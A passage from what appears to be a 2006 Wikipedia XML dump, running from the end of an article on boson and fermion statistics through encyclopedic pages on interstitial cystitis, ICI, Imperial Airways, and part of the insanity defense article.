There are important differences between the statistical behavior of bosons and fermions, which are described by [[Bose-Einstein statistics]] and [[Fermi-Dirac statistics]] respectively. Roughly speaking, bosons have a tendency to clump into the same quantum state, which underlies phenomena such as the [[laser]], [[Bose-Einstein condensate|Bose-Einstein condensation]], and [[superfluid|superfluidity]]. Fermions, on the other hand, are forbidden by the Pauli exclusion principle from sharing quantum states, giving rise to systems such as the [[Fermi gas]].

We can illustrate the differences between the statistical behavior of fermions, bosons, and distinguishable particles using a system of two particles. Let us call the particles A and B. Each particle can exist in two possible states, labelled |0&gt; and |1&gt;, which have the same energy.

We let the composite system evolve in time, interacting with a noisy environment. Because the |0&gt; and |1&gt; states are energetically equivalent, neither state is favored, so this process has the effect of randomizing the states. (This is discussed in the article on [[quantum entanglement]].) After some time, the composite system will have an equal probability of occupying each of the states available to it. We then measure the particle states.

If A and B are distinguishable particles, then the composite system has four distinct states: |0&gt;|0&gt;, |1&gt;|1&gt;, |0&gt;|1&gt;, and |1&gt;|0&gt;. The probability of obtaining two particles in the |0&gt; state is 0.25; the probability of obtaining two particles in the |1&gt; state is 0.25; and the probability of obtaining one particle in the |0&gt; state and the other in the |1&gt; state is 0.5.

If A and B are identical bosons, then the composite system has only three distinct states: |0&gt;|0&gt;, |1&gt;|1&gt;, and 2&lt;sup&gt;&amp;minus;1/2&lt;/sup&gt;(|0&gt;|1&gt; + |1&gt;|0&gt;). When we perform the experiment, the probability of obtaining two particles in the |0&gt; state is now 0.33; the probability of obtaining two particles in the |1&gt; state is 0.33; and the probability of obtaining one particle in the |0&gt; state and the other in the |1&gt; state is 0.33. Note that the probability of finding particles in the same state is relatively larger than in the distinguishable case. This demonstrates the tendency of bosons to &quot;clump.&quot;

If A and B are identical fermions, there is only one state available to the composite system: the totally antisymmetric state 2&lt;sup&gt;&amp;minus;1/2&lt;/sup&gt;(|0&gt;|1&gt; - |1&gt;|0&gt;). When we perform the experiment, we inevitably find that one particle is in the |0&gt; state and the other is in the |1&gt; state.

The results are summarized in Table 1:

&lt;center&gt; &lt;table border=1&gt; &lt;caption&gt;Table 1: Statistics of two particles&lt;/caption&gt; &lt;tr&gt; &lt;th&gt;Particles&lt;/th&gt; &lt;th&gt;Both 0&lt;/th&gt; &lt;th&gt;Both 1&lt;/th&gt; &lt;th&gt;One 0 and one 1&lt;/th&gt; &lt;/tr&gt; &lt;tr&gt; &lt;td&gt;Distinguishable&lt;/td&gt; &lt;td align=center&gt;0.25&lt;/td&gt; &lt;td align=center&gt;0.25&lt;/td&gt; &lt;td align=center&gt;0.5&lt;/td&gt; &lt;/tr&gt; &lt;tr&gt; &lt;td&gt;Bosons&lt;/td&gt; &lt;td align=center&gt;0.33&lt;/td&gt; &lt;td align=center&gt;0.33&lt;/td&gt; &lt;td align=center&gt;0.33&lt;/td&gt; &lt;/tr&gt; &lt;tr&gt; &lt;td&gt;Fermions&lt;/td&gt; &lt;td align=center&gt;0&lt;/td&gt; &lt;td align=center&gt;0&lt;/td&gt; &lt;td align=center&gt;1&lt;/td&gt; &lt;/tr&gt; &lt;/table&gt; &lt;/center&gt;

As can be seen, even a system of two particles exhibits different statistical behaviors between distinguishable particles, bosons, and fermions. In the articles on [[Fermi-Dirac statistics]] and [[Bose-Einstein statistics]], these principles are extended to large number of particles, with qualitatively similar results.

==The [[homotopy class]]==

To understand why we have the statistics that we do for particles, we first have to note that particles are point localized excitations and that particles that are spacelike separated do not interact. In a flat d-dimensional space M, at any given time, the configuration of two identical particles can be specified as an element of M &amp;times; M. If there is no overlap between the particles, so that they do not interact (at the same time, we are not referring to time delayed interactions here, which are mediated at the speed of light or slower), then we are dealing with the space [M &amp;times; M]/{coincident points}, the subspace with coincident points removed. (x,y) describes the configuration with particle I at x and particle II at y. (y,x) describes the interchanged configuration. With identical particles, the state described by (x,y) ought to be indistinguishable (which ISN'T the same thing as identical!) from the state described by (y,x). Let's look at the [[homotopy class]] of continuous paths from (x,y) to (y,x). If M is '''R'''&lt;sup&gt;d&lt;/sup&gt; where &lt;math&gt;d\geq 3&lt;/math&gt;, then this homotopy class only has one element. If M is '''R'''&lt;sup&gt;2&lt;/sup&gt;, then this homotopy class has countably many elements (i.e. a counterclockwise interchange by half a turn, a counterclockwise interchange by one and a half turns, two and a half turns, etc, a clockwise interchange by half a turn, etc). In particular, a counterclockwise interchange by half a turn is NOT [[homotopic]] to a clockwise interchange by half a turn. Lastly, if M is '''R''', then this homotopy class is empty. Obviously, if M is not isomorphic to '''R'''&lt;sup&gt;d&lt;/sup&gt;, we can have more complicated homotopy classes...

What does this all mean?

Let's first look at the case &lt;math&gt;d\geq 3&lt;/math&gt;. The [[universal covering space]] of [M &amp;times; M]/{coincident points}, which is none other than [M &amp;times; M]/{coincident points} itself, only has two points which are physically indistinguishable from (x,y), namely (x,y) itself and (y,x). So, the only permissible interchange is two swap both particles. Performing this interchange twice gives us (x,y) back again. If this interchange results in a multiplication by +1, then we have Bose statistics and if this interchange results in a multiplication by -1, we have Fermi statistics.

Now how about '''R'''&lt;sup&gt;2&lt;/sup&gt;? The universal covering space of [M &amp;times; M]/{coincident points} has infinitely many points which are physically indistinguishable from (x,y). This is described by the infinite [[cyclic group]] generated by making a counterclockwise half-turn interchange. Unlike the previous case, performing this interchange twice in a row does not lead us back to the original state. So, such an interchange can generically result in a multiplication by exp(i&amp;theta;) (its absolute value is 1 because of [[unitarity]]...). This is called [[anyon]]ic statistics. In fact, even with two DISTINGUISHABLE particles, even though (x,y) is now physically distinguishable from (y,x), if we go over to the universal covering space, we still end up with infinitely many points which are physically indistinguishable from the original point and the interchanges are generated by a counterclockwise rotation by one full turn which results in a multiplication by exp(i&amp;phi;). This phase factor here is called the [[mutual statistics]].

As for '''R''', even if particle I and particle II are identical, we can always distinguish between them by the labels &quot;the particle on the left&quot; and &quot;the particle on the right&quot;. There is no interchange symmetry here and such particles are called plektons.

The generalization to n identical particles doesn't give us anything qualitatively new because they are generated from the exchanges of two identical particles.

[[Category:Particle physics]]
[[Category:Permutations]]

[[es:Partículas idénticas]]
[[sk:Nerozlíšiteľné častice]]</text>
    </revision>
  </page>
  <page>
    <title>Interstitial cystitis</title>
    <id>15354</id>
    <revision>
      <id>40907834</id>
      <timestamp>2006-02-23T20:42:12Z</timestamp>
      <contributor>
        <ip>84.174.140.81</ip>
      </contributor>
      <comment>/* External links */ de:</comment>
      <text xml:space="preserve">{{DiseaseDisorder infobox |
  Name           = {{PAGENAME}} |
  ICD10          = {{ICD10|N|30|1|n|30}} |
  ICD9           = {{ICD9|595.1}} |
  ICDO           = |
  Image          = |
  Caption        = |
  OMIM           = |
  MedlinePlus    = 000477 |
  eMedicineSubj  = med |
  eMedicineTopic = 2866 |
  DiseasesDB     = 30832 |
}}
'''Interstitial cystitis''' (commonly abbreviated to &quot;IC&quot;) is a [[urinary bladder]] [[disease]] of unknown cause characterised by pelvic and intense bladder pain, urinary frequency (as often as every 10 minutes), and pain with [[urination]]. It is not unusual for patients to experience [[nocturia]] and pain with [[sexual intercourse]]. IC is also known as painful bladder syndrome (PBS), particularly outside of the USA.  

IC affects men and women of all cultures, socioeconomics and ages. Previously believed to be a condition of [[menopause|menopausal]] women, growing numbers of men and women are being diagnosed in their twenties and younger.  IC is not a rare condition. Recent research suggests that IC prevalence ranges from 1 in 100,000 to 5.1 in 1,000 of the general population. New epidemiological data for the United States should be released in 2006. 

It is not unusual for patients to have beeen misdiagnosed with a variety of other conditions, including: overactive bladder, [[urethritis]], [[urethral syndrome]], [[trigonitis]], [[prostatitis]] and other generic terms used to describe frequency/urgency symptoms in the urinary tract. 

==Causes==
The cause of [[interstitial]] cystitis is unknown, though several theories have been put forward (these include [[autoimmune]], [[neurologic]], [[allergic]] and [[genetics|genetic]]).   Regardless of the origin, it is clear that IC patients struggle with a damaged mucin, aka the GAG layer, aka bladdering lining.   When this protective coating is damaged (perhaps via a UTI, excessive consumption of coffees or sodas, traumatic injury, etc.), urinary chemicals can &quot;leak&quot; into surrounding tissues causing pain, inflammation and urinary symptoms. Oral medications like [[Elmiron]] and medications which are placed directly into the bladder via a [[catheter]] work to repair and hopefully rebuild this damaged/wounded lining, allowing for a reduction in symptoms.

Recent work by the [[University of Maryland, Baltimore]] indicates that genetics are a factor in, and may even (in some cases) be the cause of IC.  Two genes, [http://www.ncbi.nlm.nih.gov/entrez/dispomim.cgi?id=606146 FZD8] and [http://www.ncbi.nlm.nih.gov/entrez/dispomim.cgi?id=167870 PAND], are associated with the syndrome.  FZD8, at gene map locus 10p11.2, is assocated with an antiproliferative factor secreted by the bladders of IC patients which &quot;profoundly inhibits bladder cell proliferation,&quot; thus causing the missing bladder lining. PAND, at gene map locus 13q22-q32, is associated with a constellation of disorders (a &quot;pleiotropic syndrome&quot;) including IC and other bladder and kidney problems, thyroid diseases, serious headaches/migraines, panic disorder, and mitral valve prolapse.

==Symptoms==
It may well be that the symptoms of interstitial cystitis have multiple causes, and IC is actually several syndromes which will eventually be discerned.  For example, patients with [[Hunner's Ulcers]] are believed to be the most advanced cases. They have larger &quot;wounds&quot; in the bladder that are much more difficult to treat.  It is estimated that only 5 to 10% of patients have these ulcers. Far more patients may experience a very mild form of IC, in which they have no visible [[wounds]] in their bladder, yet struggle with symptoms of frequency, urgency and/or pain. Still other patients may have discomfort only in their [[urethra]], while others struggle with pain in the entire pelvis. Some patients may experience [[pelvic floor]] tightness and [[dysfunction]], while others have normal muscle tone. 

Often the symptoms of IC are misdiagnosed as a &quot;common&quot; bladder infection ([[cystitis]]), however unlike cystitis, IC has not been conclusively proven to be a [[bacterial infection]] and the mis-prescribed treatment of [[antibiotics]] is ineffective.  The symptoms of IC may also initially be attributed to [[prostatitis]] and [[epididymitis]] (in men) and [[endometriosis]] and [[uterine fibroids]] (in women).

==Diagnosis==
Diagnosis has been greatly simplied in recent years with the development of two new methodologies. The Pelvic Pain Urgency/Frequency (PUF) Patient Survey, created by C. Lowell Parsons, is a short questionnaire that will help doctors identify if pelvic pain could be coming from the bladder. The KCL Test, aka the Potassium Sensitivity Test, uses a mild [[potassium]] solution to test the integrity of the bladder wall. Though the latter is not specific for IC, it has been determined to be helpful in predicting the use of compounds, such as [[pentosan]], which are designed to help repair the GAG layer. The previous &quot;gold standard&quot; test for IC was the use of hydrodistention with cystoscopy. Researchers, however, determined that this visual examination of the bladder wall after stretching the bladder was also not specific for IC and that the test, itself, can contribute to the development of small [[glomerulations]] (aka [[petechial]] hemorrhages) often found in IC. Thus, a diagnosis of IC is one of [[diagnosis of exclusion|exclusion]], as well as a review of clinical symptoms.

==Treatment==
===Diet===
The foundation of therapy is a modification of diet to help patients avoid those foods which can will further irritate the damaged bladder wall. Common offenders include [[coffee]]s, [[tea]]s, herbal teas, [[green tea]]s, all [[soda]]s (particularly diet), concentrated [[fruit juice]]s, [[vitamin|multivitamins]], [[monosodium glutamate]], [[chocolate]], and potassium-rich foods such as [[bananas]]. Patients who continue to consume daily coffee are those which appear to struggle the most with symptoms, particularly pain. Most IC support groups and many urology clinics have diet lists available.

The problem with diet triggers is that they vary from person to person: the best way for a person to discover his or her own triggers is to use an '''elimination diet'''. This is where someone cuts out all foods except the basics (e.g. potatoes, bread, rice, water) and then introduces new foods one at a time. Trying to discover which foods are one's own triggers without the use of an elimination diet is like trying to do a scientific [[experiment]] whilst altering 10 variables all at once.

===Bladder coatings===
As recently as a decade ago, treatments available were limited to the use of [[astringent]] instillations, such as [[clorpactin]] or [[silver nitrate]], designed to kill infection and/or strip off the bladder lining. In 2005, our understanding of IC has improved dramatically and these therapies are now no longer done. Rather, IC therapy is typically multi-modal, including the use of a bladder coating, an [[antihistamine]] to help control [[mast cell]] activity and a low dose [[antidepressant]] to fight [[neuroinflammation]]. 

The two US FDA approved therapies for IC have had recent setbacks in various research studies. Oral [[Elmiron]] (aka [[pentosan polysulfate]]) is believed to provide a protective coating in the bladder, however data released in late 2005 by [[Alza Pharmaceuticals]] suggests that 84% of Elmiron is eliminated, intact, in [[feces]]. Another 6% is excreted via [[urine]].  Reference: Metabolism of [3H]pentosan polysulfate sodium (PPS) in healthy human volunteers. Xenobiotica. 2005 Aug;35(8):775-84. In addition, the NIH funded ICCTG study of pentosan revealed results only slightly better than placebo. 

[[DMSO]], a wood pulp extract, is the only approved bladder instillation for IC yet it is much less frequently used in urology clinics. Research studies presented at recent conferences of the American Urological Association by C. Subah Packer have demonstrated that the FDA approved dosage of a 50% solution of DMSO had the potential of creating irreversible muscle contraction. However, a lesser solution of 25% was found to be reversible. Long term use is questionable, at best, particularly given the fact that the method of action of DMSO is not fully understood.  

More recently, the use of a &quot;rescue instillation&quot; composed of [[elmiron]] or [[heparin]], cystistat, [[lidocaine]] and [[sodium bicarbonate]], has generated considerable excitement in the IC community because it is the first therapeutic intervention that can be used to reduce a flare of symptoms. Published studies report a 90% effectiveness in reducing symptoms.

Another bladder coating treatment is that of Cystistat(TM) which consists primarily of [[sodium hyaluronate]]. It is believed to replace the deficient GAG layer on the bladder wall. Like most other [[intravesical]] bladder treatments, this treatment requires the patient to lie for 20 - 40 minutes, turning over every ten minutes, to allow the chemical to 'soak in' and give a good coating, before it is passed out with the urine.

===Pelvic floor treatments===
[[Pelvic floor]] dysfunction may also be a contributing factor thus most major IC clinics now evaluate the pelvic floor and/or refer patients directly to a physical therapist for a prompt treatment of pelvic floor muscle tension or weakness. 

===Pain control===
Pain control is usually necessary in the IC treatment plan. The pain of IC has been rated equivalent to cancer pain and should not be ignored to avoid [[central sensitization]]. The use of a variety of traditional pain medications, including [[opiate]]s, is often necessary to treat the varying degrees of pain. [[alternative medicine|Complementary therapies]] such as [[acupuncture]], [[massage]], and [[biofeedback]] are also beneficial to some patients. Even children with IC should be appropriately addressed regarding pelvic pain, and receive necessary treatment to manage it.

Electronic pain-killing options include [[TENS]] (a machine connected to sticky pads which one palces on their body at certain pressure points; the tens machine sends electrical impulses to the skin, using the human body as an 'earth'). [[Percutaneous Tibial Nerve Stimulation (PTNS)|PTNS]] stimulators have also been used, with varying degrees of success. This is similar to a TENS treatment, except a needle is used rather than sticky pads.

===Other treatments===
Bladder distentions (a procedure which stretches the bladder [[capacity]], done under [[general anaesthetic]]) have shown remarkable success in giving pain relief to patients. However, many experts still cannot understand precisely ''how'' this can cause pain relief. Unfortunately, the relief achieved by bladder distentions is only temporary (weeks or months) and consequently, it is not really viable as a long-term treatment for Interstitial Cystitis: it is generally only used in extreme cases. 

[[Surgical]] interventions are rarely used for IC. Neurostimulation techniques are not FDA approved for IC. 

==Links to other conditions==
It is important to note that some people with IC also develop other medical conditions such as [[Anxiety disorder]] (usually because of the nature of the symptoms), and other conditions that may have the same etiology as IC. These include: [[irritable bowel syndrome]] (IBS), [[Fibromyalgia]], [[Endometriosis]] and [[Multiple chemical sensitivity|chemical sensitivities]].

==References==
* ''The Interstitial Cystitis Survival Guide: Your Guide to the Latest Treatment Options and Coping Strategies'' ISBN 1572242108
* &quot;A Taste of the Good Life: A Cookbook for an IC Diet&quot;  ISBN 096657060X
* &quot;Confident Choices&quot; ISBN 097672460X
* &quot;Patient to Patient: Managing IC and Related Conditions&quot; ISBN 0970559003 
* &quot;ICN Meet the IC Expert Guest Lecture Series&quot;

== External links ==

*[http://www.americanbladder.org American Bladder &amp; Pelvic Pain Association, Inc.]
*[http://www.canadaic.com Canada IC &amp; Overactive Bladder Resource Center]
*[http://www.interstitialcystitis.co.uk/ Cystitis &amp; Overactive Bladder Foundation (UK)]
*[http://kidney.niddk.nih.gov/kudiseases/pubs/interstitialcystitis/ IC section of the NKUDIC]
*[http://www.ichelp.org Interstitial Cystitis Association]
*[http://www.ic-network.com Interstitial Cystitis Network (ICN)]
*[http://icresearch.umaryland.edu/  Unviversity of Maryland Interstitial Cystitis Center]  The leading academic research center for interstitial cystitis.
*[http://www.ncbi.nlm.nih.gov/entrez/query.fcgi?CMD=search&amp;DB=omim OMIM ''interstitial cystitis'']
* {{MedlinePlusOverview|interstitialcystitis}}
* {{GPNotebook|-449511390}}

[[Category:Ailments of unknown etiology]]
[[Category:Urology]]

[[de:Interstitielle Zystitis]]</text>
    </revision>
  </page>
  <page>
    <title>ICI</title>
    <id>15355</id>
    <revision>
      <id>36484865</id>
      <timestamp>2006-01-24T10:33:11Z</timestamp>
      <contributor>
        <username>Jheald</username>
        <id>141421</id>
      </contributor>
      <comment>disambig Phoenix</comment>
      <text xml:space="preserve">'''ICI''' is a [[TLA|three-letter abbreviation]] or acronym which can refer to:

* [[Imperial Chemical Industries]] PLC
* the [[ICI programming language]]
* the [[Investment Company Institute]]
* the [[Internet Computer Integration]] project
* [[Inter-Channel-Interference]].
* [[Ici (magazine)|Ici]], an [[alternative weekly]] newspaper in [[Montreal]].
* the International Commerce Institute, a high school in [[Phoenix, Arizona| Phoenix]], [[Az]]. 

{{TLAdisambig}}</text>
    </revision>
  </page>
  <page>
    <title>Imperial Chemical Industries</title>
    <id>15356</id>
    <revision>
      <id>41030714</id>
      <timestamp>2006-02-24T16:34:07Z</timestamp>
      <contributor>
        <username>Catapult</username>
        <id>792235</id>
      </contributor>
      <minor />
      <comment>[[Wikipedia:Categories for deletion/Log/2006 February 18|CFD]]: renaming category[[user:freakofnurture|...]]</comment>
      <text xml:space="preserve">{{Infobox Company 
| company_name  = Imperial Chemical Industries plc
| company_logo  = [[Image:ICI.png|center|180px|ICI's logo]] 
| company_type  = [[Public company|Public]] ({{lse|ICI}})
| foundation    = 1926
| location      = [[London]], [[United Kingdom]]
| key_people    = Peter Ellwood (Chairman) &lt;br&gt;John McAdam  (CEO)
| industry      = Chemicals
| products      = Paints &amp; speciality chemicals
| revenue       = £5.6 billion GBP (2004)
| num_employees = 33,820 (2004)
| homepage      = http://www.ici.com
}}
'''Imperial Chemical Industries''' ('''ICI''') is a British chemical company, based in [[London]]. It produces paints and specialty products (including ingredients for foods, specialty polymers, electronic materials, fragrances and flavours). It employs around 35,000 people and had a turnover of just over £5.6 billion in 2004.

For much of the 20th century ICI was generally regarded as the leading company in the United Kingdom. The phrase &quot;the chairman of ICI&quot; became a colloquialism for the top person in British business. However ICI's status has fallen steadily in recent decades, and its unique prestige is now dissipated. Today ICI is simply a medium sized player in the global chemical industry, which is an unfashionable industry with low margins and weak growth prospects. It is now one of the smaller constituents of the [[FTSE 100 Index]], much smaller than its own offspring [[AstraZeneca]].

==History==
ICI was founded in December 1926 from the merger of four companies - [[Brunner Mond]], [[Nobel Industries|Nobel Explosives]], the United Alkali Company and British Dyestuffs Corporation. Competing with [[DuPont]] and [[IG Farben]] (later [[BASF]]), the new company produced [[explosive]]s, [[fertiliser]]s, [[insecticide]]s, [[dye]]stuffs, industrial chemicals, printing materials, and paints. In its first year turnover was £27m.

ICI played a key role in the development of new products, including the pigment [[phthalocyanine]] (1929), the acrylic plastic ''[[Polymethyl_methacrylate|Perspex]]'' (1932), Dulux paints (1932, co-developed with DuPont), [[Polythene]] (1937), sulfamethazine (the first [[sulfonamide]] [[antibiotic]]), paludrine (1940s, an anti-[[malaria]]l drug), [[halothane]] (1951, an anaesthetic agent), Inderal (1965, a [[beta-blocker]]), [[tamoxifen]] (1978, a frequently used drug for [[breast cancer]]), and [[PEEK]] (1979, a high performance [[thermoplastic]]) . Because of their success in the pharmaceutical industry, ICI formed ICI Pharmaceuticals in 1957. 

One of the main plants was at [[Billingham]], [[County Durham]].
From 1971 to 1988 ICI operated a small [[General Atomics]] [[TRIGA]] Mark I [[nuclear reactor]] at its Billingham factory.

In 1993 the company decided to demerge its chemical business from the pharmaceutical bioscience divisions. Pharmaceuticals, agrochemicals, specialities, seeds and biological products were  placed into a new and independent company called Zeneca Group (which merged with Astra AB in 1999 to form [[AstraZeneca]] PLC, one of the largest pharmaceutical companies in the world). The company also moved away from bulk and industrial chemicals towards specialty chemicals during the 1990s in the hope of making its income less dependent on the business cycle, earning higher profit margins, and developing businesses with long term growth potential. However its financial performance so far in the 21st century has been erratic.

ICI sold its Australian subsidiary, ICI Australia, in 1997 and the following year it changed its name to [[Orica]].

==External links==
* [http://www.ici.com Official site]
* [http://www.nationalstarch.com  National Starch and Chemical Company] ICI subsidsiary.
* [http://uk.finance.yahoo.com/q/pr?s=ICI.L Yahoo! profile]
* [http://www.orica.com.au Orica]

[[Category:Chemical companies of the United Kingdom]]
[[Category:Companies listed on the London Stock Exchange]]</text>
    </revision>
  </page>
  <page>
    <title>Imperial Airways</title>
    <id>15357</id>
    <revision>
      <id>40364477</id>
      <timestamp>2006-02-20T01:58:53Z</timestamp>
      <contributor>
        <username>Rich Farmbrough</username>
        <id>82835</id>
      </contributor>
      <minor />
      <comment>External links per MoS.</comment>
      <text xml:space="preserve">{| align=right
| [[image:Speedbird logo.gif|220px|right|thumb|Imperial Airways Speedbird logo]]
|-
| {{British Airways}}
|}
'''Imperial Airways''' was an early British commercial air transport company, operating from [[1924]] to [[1939]]. 

Created following the advice of the government [[Hambling Committee]] in 1923 &amp;mdash; that the main existing aircraft companies should be merged to create a company which would be strong enough to develop Britain's external air services &amp;mdash; and offered a £1m subsidy over ten years if they merged. Imperial Airways Limited was formed in March 1924 from the British Marine Air Navigation Company Ltd (three aircraft), the Daimler Airway (five aircraft), Handley-Page Transport Ltd (three aircraft) and the Instone Air Line Ltd (two aircraft). The land operations were based at [[Croydon Airport]].

The first commercial flight was in April [[1924]], when a daily [[London]]-[[Paris]] service was opened. Additional services to other European destinations were started throughout the summer. The first new airliner was commissioned by Imperial Airways in November 1924. In the first year of operation the company carried 11,395 passengers and 212,380 letters.

The extension of service to the [[British Empire]] (Empire Services) was not begun until [[1927]] when, with the addition of six new aircraft, a service was instituted from [[Cairo]] to [[Basra]]. but the first service from London for [[Karachi]] did not start until [[1929]] using newly purchased [[Short S.8 Calcutta]] flying boats, even then the passengers were transported by train from [[Paris]] to the [[Mediterranean]] where the Short flying boats were. In February [[1931]] a weekly service between London and [[Tanganyika]] was started as part of the proposed route to [[Cape Town]] and in April an experimental London-[[Australia]] air mail flight took place; the mail was transferred at the [[Netherlands East Indies]], and took 26 days in total to reach [[Sydney]]. The purchase of eight [[Handley Page 42]] four-engined airliners boosted the range of services, in 1932 the service to Africa was extended to Cape Town.

In Australia in [[1934]] Imperial and [[Qantas]] (Queensland and Northern Territory Aerial Services Ltd) formed Qantas Empire Airways Limited to extended services in [[Southeast Asia]].  But it was not until [[1937]] with the [[Short Empire]] flying boats that Imperial could offer an 'all air' service from [[Southampton]] to the Empire. The journey to the Cape consisted of flights to [[Marseille]], [[Rome]], [[Brindisi]], [[Athens]], [[Alexandria]], [[Khartoum]], [[Port Bell]], [[Kisumu]] and onwards by land-based craft to [[Nairobi]], [[Mbeya]] and eventually [[Cape Town]]. Survey flights were also made across the Atlantic and to [[New Zealand]]. By mid-1937 Imperial had completed its thousandth service to the Empire.

[[Image:Speed Wingows Over the World - Eric Broadbent - London.jpg|thumb|303px|left|''Speed Wings Over the World'', statue on a portal above the Empire Terminal's main entrance; by Eric Broadbent]]

The Empire Air Mail Programme began in July 1937, delivering anywhere for 1½ d./oz. By mid-1938 a hundred tons of mail had been delivered to India and a similar amount to Africa. In the same year, construction was started on the Empire Terminal in [[Victoria Station (London)|Victoria, London]], designed by A. Lakeman and with a statue by Eric Broadbent, ''Speed Wings Over the World'' gracing the portal above the main entrance. The terminal provided train connections to flying boats at [[Southampton]] and to the since closed Croydon Airport. The terminal operated as recently as [[1980]].

Compared to other operators ([[Air France]], [[KLM]], [[Lufthansa|Deutsche Luft Hansa]]) it was lagging behind in Europe and it was suggested that all European operations be handed over to [[British Airways Ltd]] (founded in 1935) which had more modern aircraft and better organization. However in November 1939 both Imperial and British Airways Ltd were merged into a new state-owned national carrier: [[British Overseas Airways Corporation]] ([[BOAC]]).  The new carrier adopted the Imperial [[Speedbird]] logo, which has evolved into the present [[British Airways]] ''Speedmarque'', and the term continues to be used as BA's [[call sign]].

==External links==
* [http://www.imperial-airways.com Imperial Airways enthusiasts' website]

{{airlistbox}}
[[Category:Defunct airlines of the United Kingdom]]
[[Category:Airlines of the United Kingdom]]
[[Category:1924 establishments]]

[[de:Imperial Airways]]
[[fr:Imperial Airways]]</text>
    </revision>
  </page>
  <page>
    <title>Insanity defense</title>
    <id>15358</id>
    <revision>
      <id>41364133</id>
      <timestamp>2006-02-26T21:46:54Z</timestamp>
      <contributor>
        <ip>150.199.103.245</ip>
      </contributor>
      <comment>/* Psychosis and schizophrenia */</comment>
      <text xml:space="preserve">{{CrimDef}}
In a [[criminal trial]], the '''insanity''' defenses are possible [[defense (legal)|defense]]s by [[excuse]], via which [[defendant|defendants]] may argue that they should not be held [[crime|criminally]] [[liability|liable]] for breaking the [[law]], as they were mentally ill or mentally incompetent at the time of their allegedly &quot;criminal&quot; actions. The insanity defense is still in use in the United States, while most [[Commonwealth]] countries have moved to a [[mental disorder defence]].

The insanity defense is available in most jurisdictions that respect [[human rights]] and have a [[rule of law]], though the extent to which it can or should be applied may differ widely between jurisdictions, e.g. as in cases involving the [[battered woman syndrome]] where [[Self-defense (theory)|self-defense]] is not available, a defendant may be forced to choose between an insanity defense and [[provocation (legal)|provocation]].

This defense is based on a principle that [[punishment]] is only reasonable if the defendant is capable of distinguishing right and [[evil|wrong]].  A defendant making this argument might be said to be pleading &quot;'''not guilty by reason of insanity'''&quot; ('''NGRI'''). 

==Psychiatric treatment==
Those found to have been not guilty by reason of insanity are generally then required to undergo [[psychiatry|psychiatric]] treatment; except in the case of '''temporary insanity''' (see below). Defendants found not guilty by reason of insanity are generally placed in a mental institution.  Unlike defendants who are found guilty of a crime, they are not institutionalized for a fixed period, but rather they are held within the institution until authorities determine that they are no longer a threat. Authorities making this decision tend to be cautious; as a result, defendants can often spend more time there than they would have in prison (had they been convicted). In ''[[Foucha v. Louisiana]]'' ([[1992]]) the [[Supreme Court of the United States|Supreme Court]] ruled that a person could not be held &quot;indefinitely&quot;. 

===Psychosis and schizophrenia===
In practice, a finding of &quot;not guilty by reason of insanity&quot; almost always requires that the defendant have been in a state of active [[psychosis]] (at the time the law was broken) and usually such findings involve a [[diagnosis]] of [[paranoia|paranoid]] [[schizophrenia]].  The use of the insanity defense in cases of [[psychopathy]] is rare and almost uniformly unsuccessful.

===Incompetency, intoxication, and mental illness===
The concept of insanity is different from the concept of incompetency. Incompetency denotes the inability of a defendant to understand the charges against them and to participate in their defense, and relates to the defendant's state of mind at the time of trial. A trial cannot proceed if a defendant has been found incompetent, unless the defendant later becomes competent.

In the [[United States]], a trial in which the insanity defense is invoked typically involves the testimony of [[psychiatrist]]s who will argue that the defendant is or is not insane.  If there is agreement between the prosecution and defense that the defendant is insane then typically a jury trial is waived and a trial occurs in front of a judge in which evidence is presented and a judgment rendered.  If there is disagreement between the prosecution and defense, each will typically present expert witnesses to a jury which will decide whose witnesses to believe.

The legal concept of insanity is different from the [[psychiatry|psychiatric]] concept of [[mental illness]].  Frequently, a person whose mental illness is not under dispute will be determined sane as the court will argue that despite a &quot;mental illness&quot; the defendant should still be held responsible; such a ruling is known as either a '''Guilty but Mentally Ill''' ('''GBMI''') or a '''Guilty but Insane''' verdict. [[Michigan]] ([[1975]]) was the first state to pass a GBMI verdict. Sometimes a person without mental illness can be found to be insane; for example, a person who is acting under the influence of a drug that was involuntarily administered (though voluntary intoxication has been rejected by most jurisdictions as a defence to crime). (See: [[involuntary intoxication]])

==History of the insanity defense==
The concept of defense by insanity has existed since [[ancient history|ancient]] [[ancient Greece|Greece]] and [[Roman Empire|Rome]].  The first complete transcript of an insanity trial dates [[1724]].  [[Edward II of England|Edward II]], under English Common law, declared that a person was insane if their mental capacity was no more than that of a &quot;Wild Beast&quot;.  However, in the United States, the pioneer in the insanity defense could be credited to New Hampshire Chief Justice, Charles Cogswell Doe.  In ''[[Ford v. Wainwright]]'' ([[1975]]) the [[Supreme Court of the United States|US Supreme Court]] ruled that insane [[prison]]ers cannot be [[execution (legal)|executed]]. The insanity plea was legalized in the [[United States]] with the [[M'Naghten Rules]], which came as a direct result of the attempted assassination of [[Britain|British]] [[Prime Minister]] [[Robert Peel]] in [[1843]]. The insanity plea can be used if &quot;at the time of the commission of the acts constituting the offense, the defendant as a result of a severe mental disease or defect, was unable to appreciate the nature and quality of the wrongfulness of his acts.&quot;  The key is that the defendant could not appreciate the nature of his actions ''during'' the commission of the crime, not before or after. 

One novel use of the insanity defense occurred in the case of [[Lee Boyd Malvo]] who plead not guilty by reason of insanity in the [[Beltway sniper shootings]].  Many legal experts believe that the purpose of raising the defense was not to gain an acquittal but to allow the defense to introduce otherwise inadmissible evidence about Malvo's upbringing, his relationship with [[John Allen Muhammad]], and his mental state. This evidence was intended to gain the jury's sympathy so that they would not invoke the [[death penalty]], and was successful at doing so.

==Controversy over the insanity defense==
There are many different interpretations of &quot;insane&quot; and many different notions of how to deal with insane individuals.

In the US ([[1982]]), the insanity defense came under increasing criticism following the acquittal of [[John Hinckley, Jr.]], who attempted to assassinate [[Ronald Reagan|President Reagan]]. Critics of the defense argue that it relies too much on opinion and/or &quot;permits&quot; behavior by one group which is forbidden to another. “If you commit a big crime then you are crazy, and the more heinous the crime, the crazier you must be. Therefore you are not responsible, and nothing is your fault” 

